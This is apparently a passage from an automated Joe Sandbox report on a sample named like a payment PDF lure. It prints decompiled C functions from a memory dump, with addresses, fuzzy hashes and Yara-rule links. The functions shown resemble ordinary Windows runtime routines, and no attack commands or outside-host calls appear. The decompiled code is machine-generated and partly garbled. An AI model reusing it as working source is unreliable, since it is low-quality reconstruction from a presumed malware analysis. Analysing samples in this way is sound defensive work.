					goto L8;
				} else {
					_t34 = _t20 + 0x0000001f & 0xfffffff8;
					_t35 = L33485D90(_t30,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t34);
					if(_t35 == 0) {
						goto L8;
					}
					 *(_t35 + 8) = _t34;
					 *((intOrPtr*)(_t35 + 4)) = 1;
					 *_t35 = 1;
					if((_a8 & 1) != 0) {
						 *((intOrPtr*)(_t35 + 0xc)) = 1;
					}
					 *((intOrPtr*)(_t35 + 0x10)) = 1;
					 *((intOrPtr*)(_t35 + 0x14)) = ( *_t29 & 0x0000ffff) + 8;
					_t17 = _t35 + 0x18; // 0x18
					L334B88C0(_t17, _t29[2],  *_t29 & 0x0000ffff);
					return _t35;
				}
			}

0x3346a20f
0x3346a27a
0x00000000
0x3346a27a
0x3346a211
0x3346a214
0x3346a21a
0x00000000
0x3346a220
0x3346a229
0x3346a237
0x3346a23b
0x00000000
0x00000000
0x3346a23f
0x3346a243
0x3346a246
0x3346a24b
0x3346a275
0x3346a275
0x3346a253
0x3346a256
0x3346a260
0x3346a264
0x00000000
0x3346a26c

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d263eb727e6f94393b138218498dfa5cbc63c67a61b158300c6e1476aab7b55a
Instruction ID: 531549390d773135989fd7fda3905bd72c3f97b97c6d6a7aa71e582d78b59cd7
Opcode Fuzzy Hash: d263eb727e6f94393b138218498dfa5cbc63c67a61b158300c6e1476aab7b55a
Instruction Fuzzy Hash: EA0122B2645B11AFCB208F15D840A227BF8EF557B8704852DFCA68B790C731D521CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 33476179 Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E33476179(void* __esi) {
				intOrPtr _t15;
				void* _t26;
				intOrPtr _t27;
				void* _t33;
				void* _t35;

				_t33 = __esi;
				_t15 =  *((intOrPtr*)(_t35 - 0x134));
				 *((intOrPtr*)(_t35 - 0x118)) = _t15;
				if(_t15 != 0) {
					_push("true");
					_push(_t35 - 0x118);
					_push("true");
					_push(0xfffffffe);
					E334B2A60();
					 *((intOrPtr*)(_t35 - 0x170)) = 0;
					_push("true");
					_push(_t35 - 0x170);
					_push(0x12);
					_push(0xfffffffe);
					E334B2A60();
					 *((short*)(_t35 - 0x124)) = 0;
					_push("true");
					_push(_t35 - 0x124);
					_push("true");
					_push( *((intOrPtr*)(_t35 - 0x118)));
					L334B2F70();
					_push( *((intOrPtr*)(_t35 - 0x118)));
					E334B2A80();
					 *((intOrPtr*)(_t35 - 0x118)) = 0;
					_push("true");
					_push(_t35 - 0x118);
					_push("true");
					_push(0xfffffffe);
					E334B2A60();
				}
				_t26 = L334ACE3F( *((intOrPtr*)(_t35 - 0x12c)));
				_t32 =  *((intOrPtr*)(_t35 - 0x2c));
				if( *((intOrPtr*)(_t35 - 0x2c)) != 0) {
					asm("lock xadd [ecx+0x4], esi");
					if(_t33 == 1) {
						_t27 =  *0x33566644; // 0x0
						return E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27 + 0x300000,  *_t32);
					}
				}
				return _t26;
			}

0x33476179
0x33476179
0x3347617f
0x33476187
0x334d0b44
0x334d0b4c
0x334d0b4d
0x334d0b4f
0x334d0b51
0x334d0b56
0x334d0b60
0x334d0b68
0x334d0b69
0x334d0b6b
0x334d0b6d
0x334d0b74
0x334d0b7b
0x334d0b83
0x334d0b84
0x334d0b86
0x334d0b8c
0x334d0b91
0x334d0b97
0x334d0b9c
0x334d0ba6
0x334d0bae
0x334d0baf
0x334d0bb1
0x334d0bb3
0x334d0bb3
0x33476193
0x33476198
0x3347619d
0x3347619f
0x334761a5
0x334761a7
0x00000000
0x334761bd
0x334761a5
0x334761c2

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1359b5a105415f6db3a62a75f6a957203c306bc7b60171079ecf703519c2469
Instruction ID: 293b69880d5230106201bc2f1f934603df3908bdeb04a229b0d8eca352cd61cf
Opcode Fuzzy Hash: a1359b5a105415f6db3a62a75f6a957203c306bc7b60171079ecf703519c2469
Instruction Fuzzy Hash: 77115A71A41318AFEB25DB64CC42FD972B9EF08710F5041D8A269AA1E0DB309E85CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 334B2010 Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E334B2010(char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				void* __esi;
				intOrPtr _t27;
				char* _t31;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t38;

				_v8 =  *0x3356b370 ^ _t38;
				_t35 = _a16;
				_push(0);
				_v16 = _a4;
				_push(0);
				_v12 = _a8;
				_push(_a24);
				_push(_a12);
				_push(_a20);
				_push(_a16);
				_push( &_v16);
				_t37 = E334B4690();
				if(L33483C40() != 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
				} else {
					_t31 = 0x7ffe038e;
				}
				if( *_t31 != 0) {
					if(_t37 >= 0) {
						E334FC592(_a20, _v16, _v12);
					}
				}
				return E334B4B50(_t37, _t27, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x334b201f
0x334b2028
0x334b202c
0x334b202e
0x334b2034
0x334b2036
0x334b203c
0x334b203d
0x334b203e
0x334b2044
0x334b2045
0x334b204b
0x334b2054
0x334e9f92
0x334b205a
0x334b205a
0x334b205a
0x334b2062
0x334e9f9f
0x334e9fae
0x334e9fae
0x334e9f9f
0x334b2076

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac52936b4f2c91f1d077ca890a52e3368c5a2c37f8b892e1f5b33309667af305
Instruction ID: 845e86072896b295c9f19086f011c0af4e97931005a574c3a42fcd8bffd0a4e8
Opcode Fuzzy Hash: ac52936b4f2c91f1d077ca890a52e3368c5a2c37f8b892e1f5b33309667af305
Instruction Fuzzy Hash: C5116D35A00308AFDF05DFA4C850F9E7BB9EB48640F004099F951AB380DA35DE16CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 3352F68C Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E3352F68C(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				void* _t23;
				signed char* _t24;
				intOrPtr _t30;
				void* _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				signed int _t42;

				_t35 = __edx;
				_t30 = __ebx;
				_v8 =  *0x3356b370 ^ _t42;
				_t37 = __edx;
				_t40 = __ecx;
				L334B8F40( &_v60, 0, 0x34);
				_v28 = _t40;
				_v54 = 0x1035;
				_v20 = _a4;
				_v16 = _a8;
				_v24 = _t37;
				_v12 = _a12;
				_t23 = L33483C40();
				_t38 = _t36;
				_t41 = _t39;
				if(_t23 == 0) {
					_t24 = 0x7ffe0380;
				} else {
					_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v60);
				_push(0x14);
				_push(0x20402);
				_push( *_t24 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t30, _v8 ^ _t42, _t35, _t38, _t41);
			}

0x3352f68c
0x3352f68c
0x3352f69b
0x3352f6a5
0x3352f6aa
0x3352f6ac
0x3352f6b6
0x3352f6b9
0x3352f6c3
0x3352f6c9
0x3352f6cf
0x3352f6d2
0x3352f6d5
0x3352f6da
0x3352f6db
0x3352f6de
0x3352f6f0
0x3352f6e0
0x3352f6e9
0x3352f6e9
0x3352f6fb
0x3352f6fc
0x3352f6fe
0x3352f703
0x3352f714

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1ae263a2966b342679b15a10c2852f65228340843cc1fa244ea3fd990c14914
Instruction ID: 539a809e2e5eba8a0c60644a76f7b05450a7495d37fea08cc93b554845bf3322
Opcode Fuzzy Hash: a1ae263a2966b342679b15a10c2852f65228340843cc1fa244ea3fd990c14914
Instruction Fuzzy Hash: 4D116D71E00348AFCB00DFA9D845E9EBBF8EF44744F10406AB904EB380DA74EA01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 33469303 Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E33469303(signed int* __ecx) {
				signed int _t27;
				signed int _t34;
				signed int _t38;
				signed int* _t40;

				_t40 = __ecx;
				if(__ecx == 0) {
					return _t27;
				}
				_t38 = 0;
				if( *((intOrPtr*)(__ecx + 4)) <= 0) {
					L6:
					if(( *_t40 & 0x00000001) != 0) {
						_t27 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t40[2]);
					}
					_t40[2] = _t40[2] & 0x00000000;
					_t40[1] = _t40[1] & 0x00000000;
					 *_t40 =  *_t40 & 0x00000000;
					return _t27;
				}
				do {
					_t27 = _t40[2];
					_t34 =  *((intOrPtr*)(_t27 + _t38 * 4));
					if(_t34 != 0) {
						 *(_t34 + 8) =  *(_t34 + 8) & 0;
						 *((intOrPtr*)(_t34 + 4)) = 0;
						if( *(_t34 + 0xc) != 0) {
							_push( *(_t34 + 0xc));
							E334B2A80();
							 *(_t34 + 0xc) =  *(_t34 + 0xc) & 0x00000000;
						}
						 *(_t40[2] + _t38 * 4) =  *(_t40[2] + _t38 * 4) & 0x00000000;
						_t27 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t34);
					}
					_t38 = _t38 + 1;
				} while (_t38 < _t40[1]);
				goto L6;
			}

0x33469306
0x3346930a
0x3346933c
0x3346933c
0x3346930d
0x33469312
0x33469326
0x3346932a
0x334cb947
0x334cb947
0x33469330
0x33469334
0x33469338
0x00000000
0x33469338
0x33469315
0x33469315
0x33469318
0x3346931d
0x3346933f
0x33469342
0x33469348
0x3346934a
0x3346934d
0x33469352
0x33469352
0x3346935c
0x33469369
0x33469369
0x3346931f
0x33469320
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ac1dbcec8f50f888ab2d71166848a261f350b2c5ba154fd3f3a60f99f01f7a
Instruction ID: 72d674a2fd530b51a93f135e12420f47701847f49558b1b854e0eca7b5805e40
Opcode Fuzzy Hash: 72ac1dbcec8f50f888ab2d71166848a261f350b2c5ba154fd3f3a60f99f01f7a
Instruction Fuzzy Hash: DB11C076850B01DFE7218F05C880B12B3E4FF8876AF19886DD5994F6A2C7B5E8C1CB54

Uniqueness

Uniqueness Score: -1.00%

Function 334FC0E0 Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E334FC0E0(intOrPtr __ebx, intOrPtr __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				void* __esi;
				intOrPtr _t28;
				char* _t30;
				intOrPtr _t37;
				intOrPtr _t38;
				signed int _t39;

				_t37 = __edi;
				_t28 = __ebx;
				_v8 =  *0x3356b370 ^ _t39;
				_t36 = _a16;
				_push("true");
				_push(_a28);
				_v16 = _a4;
				_v12 = _a8;
				_push(_a24);
				_push(_a12);
				_push(_a20);
				_push(_a16);
				_push( &_v16);
				_t38 = E334B4690();
				if(L33483C40() == 0) {
					_t30 = 0x7ffe038e;
				} else {
					_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
				}
				if( *_t30 != 0 && _t38 >= 0) {
					E334FC592(_a20, _v16, _v12);
				}
				return E334B4B50(_t38, _t28, _v8 ^ _t39, _t36, _t37, _t38);
			}

0x334fc0e0
0x334fc0e0
0x334fc0ef
0x334fc0f8
0x334fc0fc
0x334fc0fe
0x334fc101
0x334fc107
0x334fc10d
0x334fc10e
0x334fc10f
0x334fc115
0x334fc116
0x334fc11c
0x334fc125
0x334fc139
0x334fc127
0x334fc131
0x334fc131
0x334fc141
0x334fc150
0x334fc150
0x334fc163

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063f5b149d0e5f4605d7bb48168aa8aa490dd838675d54f6bbbc26fad33db094
Instruction ID: 0e35baf5a47fa4b5700ee3196e8c63736dae4350205a20581f5da42c98e5a6a6
Opcode Fuzzy Hash: 063f5b149d0e5f4605d7bb48168aa8aa490dd838675d54f6bbbc26fad33db094
Instruction Fuzzy Hash: 26115775A00208AFDF05DFA4D950EAE7BB9EB48304F048099F841A7380DA36ED62CB94

Uniqueness

Uniqueness Score: -1.00%

Function 33544600 Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E33544600(intOrPtr _a4) {
				void* __ecx;
				unsigned int _t10;
				unsigned int* _t20;

				_t28 = _a4;
				_t20 = _a4 + 0x8c;
				_t10 =  *_t20;
				if(_t10 >= 2) {
					_t10 =  *_t20;
					do {
						asm("lock cmpxchg [edx], ecx");
					} while ((_t10 & 1) != 0);
					_t27 = _t10 >> 1;
					if(_t10 >> 1 != 0) {
						E3349DB40(_t28 + 0x20,  ~_t27, 0);
						if(L33483C40() == 0) {
							_t10 = 0x7ffe0386;
						} else {
							_t10 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						}
						if( *_t10 != 0) {
							return E33544AE8( *((intOrPtr*)(_t28 + 0x5c)), _t28 + 0x78,  *((intOrPtr*)(_t28 + 0x30)),  *((intOrPtr*)(_t28 + 0x34)),  *((intOrPtr*)(_t28 + 0x3c)), _t27);
						}
					}
				}
				return _t10;
			}

0x33544607
0x3354460b
0x33544611
0x33544616
0x3354461b
0x3354461d
0x33544621
0x33544621
0x33544629
0x3354462b
0x33544636
0x33544642
0x33544654
0x33544644
0x3354464d
0x3354464d
0x3354465c
0x00000000
0x3354466e
0x3354465c
0x3354462b
0x33544677

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deabd88390078362f9191f43be5e77a801157fca1f27e4f3f2c8ea50d30b1bb8
Instruction ID: 51678e4232b004ceccc7ea1cf448e19f6ecb194f0a73b1d37aaf3d9b1969335b
Opcode Fuzzy Hash: deabd88390078362f9191f43be5e77a801157fca1f27e4f3f2c8ea50d30b1bb8
Instruction Fuzzy Hash: 3101D4B6240B009FD719CA69E841F97B7EAFBC5241F444869E6568BA50DE70F8C0C790

Uniqueness

Uniqueness Score: -1.00%

Function 334FC691 Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E334FC691(intOrPtr __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				short _v70;
				char _v76;
				void* __edi;
				void* __esi;
				signed char* _t25;
				intOrPtr _t27;
				intOrPtr _t31;
				intOrPtr _t40;
				intOrPtr _t43;
				signed int _t44;

				_t46 = (_t44 & 0xfffffff8) - 0x48;
				_v8 =  *0x3356b370 ^ (_t44 & 0xfffffff8) - 0x00000048;
				_v36 = __ecx;
				_v70 = 0xd21;
				_v44 = _a16;
				_v24 = _a4;
				_t37 = _a20;
				_v40 = _a20;
				_v32 = __edx;
				_v28 = _a8;
				_v20 = _a12;
				if(L33483C40() == 0) {
					_t25 = 0x7ffe038e;
				} else {
					_t25 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
				}
				_push( &_v76);
				_push(0x1c);
				_push( *_t25 & 0x000000ff);
				_t27 = L334B2F90();
				_pop(_t40);
				_t43 = 0x20402;
				return E334B4B50(_t27, _t31, _v24 ^ _t46, _t37, _t40, _t43);
			}

0x334fc699
0x334fc6a3
0x334fc6ac
0x334fc6b0
0x334fc6bc
0x334fc6c6
0x334fc6ca
0x334fc6d0
0x334fc6d4
0x334fc6d8
0x334fc6dc
0x334fc6e7
0x334fc6f9
0x334fc6e9
0x334fc6f2
0x334fc6f2
0x334fc705
0x334fc706
0x334fc70d
0x334fc70e
0x334fc717
0x334fc718
0x334fc723

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84daa619c40594b250bb6bf47a34621d6a71b27b4664e45e4eb311261e923075
Instruction ID: f5dacdf5d86eca593298951c03192b7887e0d4937e86eb561f176963d23d94aa
Opcode Fuzzy Hash: 84daa619c40594b250bb6bf47a34621d6a71b27b4664e45e4eb311261e923075
Instruction Fuzzy Hash: F4113CB5A083449FC700DF69D44194BBBF4EF98710F04855EB998D7354E671E901CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 334932C5 Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E334932C5(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t41;

				_push(__ecx);
				if(L334A4CF8( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L9:
					_t22 = 0;
				} else {
					_t41 = _v8 + __ecx;
					if(_t41 < __ecx || L334A4CF8( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
						goto L9;
					} else {
						_t27 = _v8 + _t41;
						if(_t27 < _t41) {
							goto L9;
						} else {
							_t31 = _a16;
							if(_t31 != 0) {
								 *_t31 = _t27;
							}
							if(_t27 == 0) {
								goto L9;
							} else {
								_t22 = L33485D90(_t31,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t27);
							}
						}
					}
				}
				return _t22;
			}

0x334932ca
0x334932e0
0x33493329
0x33493329
0x334932e2
0x334932e5
0x334932e9
0x00000000
0x334932fc
0x334932ff
0x33493303
0x00000000
0x33493305
0x33493305
0x3349330a
0x3349330c
0x3349330c
0x33493310
0x00000000
0x33493312
0x3349331e
0x3349331e
0x33493310
0x33493303
0x334932e9
0x33493326

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3dddedfdcda869455ebe0dd37e70cd22dcdb3d82042c335650c8ed2a961fe28
Instruction ID: ff08261f81a65f56ee7a061d546856c806f92d8b31926eaa9ffa7c6c89ec0920
Opcode Fuzzy Hash: a3dddedfdcda869455ebe0dd37e70cd22dcdb3d82042c335650c8ed2a961fe28
Instruction Fuzzy Hash: 9701D672740705ABDB21CB5AEC00ADF3BAD9F89790F494029B915D7650EE30D911C768

Uniqueness

Uniqueness Score: -1.00%

Function 3352F13E Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E3352F13E(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x3356b370 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				L334B8F40( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(L33483C40() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x3352f13e
0x3352f13e
0x3352f14d
0x3352f157
0x3352f15c
0x3352f15e
0x3352f169
0x3352f16f
0x3352f177
0x3352f17a
0x3352f17d
0x3352f188
0x3352f19a
0x3352f18a
0x3352f193
0x3352f193
0x3352f1a5
0x3352f1a6
0x3352f1a8
0x3352f1ad
0x3352f1c0

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4105b1203f72bf5ea44ec87e612164b70675954b9e8758fb0b4fe4f7a22f6478
Instruction ID: 489fbc2b5f0a8ccd2e85e46a57d119ef889e9f36bc63f242414ac216e0e82178
Opcode Fuzzy Hash: 4105b1203f72bf5ea44ec87e612164b70675954b9e8758fb0b4fe4f7a22f6478
Instruction Fuzzy Hash: 4F015E71E00358AFDB04DF69D841EAEBBB8EF44704F40446AB944EB280DA74DA01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 334AD0F0 Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E334AD0F0(intOrPtr _a4, char _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t10;
				void* _t17;
				void* _t18;
				char* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				intOrPtr _t29;

				_t29 = _a4;
				_push(_t25);
				if(_t29 == 0 || _a8 < 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E33544A6D(_t17, _t18, _t23, _t25, _t29);
					_t10 = 0xc000000d;
				} else {
					_push("true");
					_push( &_a8);
					_push("true");
					_push( *((intOrPtr*)(_t29 + 0x24)));
					_t27 = E334B43A0();
					if(L33483C40() != 0) {
						_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t21 = 0x7ffe0386;
					}
					if( *_t21 != 0) {
						if(_t27 >= 0) {
							L33544E62(_t29, _a8);
						}
					}
					_t10 = _t27;
				}
				return _t10;
			}

0x334ad0f9
0x334ad0fc
0x334ad0ff
0x334ad14d
0x334ad152
0x334ad116
0x334ad116
0x334ad11b
0x334ad11c
0x334ad11e
0x334ad126
0x334ad12f
0x334e89c4
0x334ad135
0x334ad135
0x334ad135
0x334ad13d
0x334e89d1
0x334e89dc
0x334e89dc
0x334e89d1
0x334ad143
0x334ad143
0x334ad14a

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e905e72580299d3ff224864fab82429879ab6b6a98a0ce6375e50d02db9b367
Instruction ID: 63e8bc3d7f9a329e0a1ce0f3a7bd1ac971b72416d4419c211b56c1d91054c75c
Opcode Fuzzy Hash: 6e905e72580299d3ff224864fab82429879ab6b6a98a0ce6375e50d02db9b367
Instruction Fuzzy Hash: 100142F6A403009BEB018F18D820B0973AADBD2E65F144159EE648F780DB34D9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 3352F607 Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E3352F607(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x3356b370 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				L334B8F40( &_v60, 0, 0x30);
				_v28 = _t34;
				_v54 = 0x1032;
				_v20 = _a4;
				_v24 = _t33;
				_v16 = _a8;
				if(L33483C40() == 0) {
					_t21 = 0x7ffe0380;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x3352f607
0x3352f607
0x3352f616
0x3352f620
0x3352f625
0x3352f627
0x3352f631
0x3352f634
0x3352f63e
0x3352f644
0x3352f647
0x3352f651
0x3352f663
0x3352f653
0x3352f65c
0x3352f65c
0x3352f66e
0x3352f66f
0x3352f671
0x3352f676
0x3352f689

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c22ace3323a6afc30c4e1a683dd03c8da6b4204bd6a2dc8d1abd4fed9071b19
